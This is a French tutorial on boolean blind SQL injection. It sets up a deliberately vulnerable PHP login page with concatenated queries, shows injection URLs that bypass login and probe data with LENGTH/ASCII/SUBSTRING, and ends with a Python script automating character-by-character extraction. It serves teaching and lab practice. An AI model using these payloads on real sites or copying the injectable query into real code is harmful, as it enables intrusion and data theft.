On considère, la plus part du temps, qu'une Injection SQL est blind lorsque celle ci ne génère uniquement que deux états. Un état VRAI et un état FAUX. Si vous n'avez aucune idée de comment fonctionne une Injection SQL, il est conseillé de lire cet article : Injection SQL.
Nous utiliserons une page de connexion classique. Vous trouverez ci-dessous le code SQL et PHP permettant de mettre en œuvre la simulation.
On considère aussi que les magic_quotes ne sont pas activées.
-- -- Structure de la table `users` -- CREATE TABLE `users` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `name` VARCHAR(255) NOT NULL, `password` VARCHAR(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Contenu de la table `users` -- INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
<?php mysql_connect("localhost","root","root"); mysql_select_db("sqli"); $user = 0; if(isset($_GET['user']) and isset($_GET['pass'])) { $user = mysql_query("SELECT * FROM users WHERE name='".$_GET['user']."' AND password='".$_GET['pass']."' ") or die (mysql_error()); $user = mysql_num_rows($user); } if($user) { echo "Welcome!"; } else { ?> <form action="" method="get"> <p><label for="user">User :</label><input type="text" name="user" value="" id="user"></p> <p><label for="pass">Pass :</label><input type="text" name="pass" value="" id="pass"></p> <p><label for="submit"></label><input type="submit" name="submit" value="Connexion →" id="submit"> </p> </form> <?php } ?>
Afin d'exploiter la Blind SQL Injection il est nécessaire d'arriver à générer deux états distincts. De façon simple, nous allons utiliser la clause OR.
http://localhost/connexion.php?user=user&pass=pass' OR '1'='1
Avec cette requête nous obtenons bien un Welcome!
. En effet, la requête SQL s'est transformée ainsi :
SELECT * FROM users WHERE name='user' AND password='pass' OR '1'='1'
Cette requête enverra toujours au moins un résultat, 1 est, et restera, égal à 1 ! Si maintenant nous faisons une requête du genre :
http://localhost/connexion.php?user=user&pass=pass' OR '1'='2
Nous ne nous connecterons jamais, 1 est, et restera, différent de 2.
Comme nous le voulions, les deux états sont disponible : VRAI et FAUX. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes
Il semble que tout est dans le nom de la fonction. Si cela ne vous parait pas assez explicite, la fonction renvois le nombre de caractère que contient la chaine qui lui ai passé en argument.
SELECT LENGTH('zenk-security')
LENGTH('zenk-security') |
---|
13 |
Cette fonction est indispensable pour réaliser l'exploitation.
La fonction ASCII nous retourne le code ASCII du premier caractère de la chaine de caractères qui lui est donné en argument.
SELECT ASCII('Zenk')
ASCII('Zenk') |
---|
90 |
La fonction SUBSTRING prend 3 arguments - SUBSTRING(str,pos,len) :
Ainsi, la fonction SUBSTRING permet de sélectionner un ou plusieurs caractères parmi une chaine de caractères.
À l'aide de ces 3 fonctions il est facile de retrouver caractère après caractère ce que renvois une requête. Pour cela, il nous faudra d'abord connaître la longueur totale de la chaine de caractères. Rien de plus simple avec la fonction LENGTH
http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=0 -- -
Note : le – -
à la fin sert à mettre le reste de la requête en commentaire. Ainsi, on évite de se prendre une erreur à cause de ce qu'il peut rester de la requête originale.
Notre requête test donc si la taille de user() est 0, comme le formulaire s'affiche, ce n'est pas la bonne taille. Il faut donc répéter l'occasion jusqu'à obtenir Welcome!
http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=14 -- -
Ainsi, user() renvois une chaine de caractères de 14 caractères. (il est possible que vous ne trouviez pas la même chose )
Maintenant que nous connaissons la taille de ce que nous cherchons, utilisons ASCII et SUBSTRING pour retrouver notre chaine.
Nous allons procéder caractère par caractère en regardant la valeur ascii de chacun.
http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=10 -- -
Le premier char de user() n'a pas pour code ASCII 10. On test toutes les possibilités (ou pas…) et on fini par tomber sur :
http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=114 -- -
Le premier char de user() est en fait un r
! (114 correspond à un r
en ASCII)
Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer
A priori ce script est pas trop compliqué et largement commenté. Cependant si vous avez des questions, n'hésitez pas Il faut évidemment l'adapter à votre environnement : host, nom du fichier, …
#!/usr/bin/env python # -*- coding: utf-8 -*- import httplib from urllib import quote as urlencode def main(): # Requête dont on souhaite découvrir ce qu'elle renvoit payload = "SELECT user()" # On commence par chercher la taille de ce que l'on cherche length = 0 while True: conn = httplib.HTTPConnection('localhost:8888') conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length))) rep = conn.getresponse().read() if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine print "Taille =",length break else: print "Taille !=", length length += 1 # On cherche maintenant chaque caractère reponse = "" for offset in range(1,length+1): # on parcours chaque char for char in range(32,127): # pour chaque char, on regarde chaque valeur ascii possible conn = httplib.HTTPConnection('localhost:8888') conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char))) rep = conn.getresponse().read() if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char reponse += chr(char) print reponse break else: print reponse, chr(char) if __name__ == '__main__': main()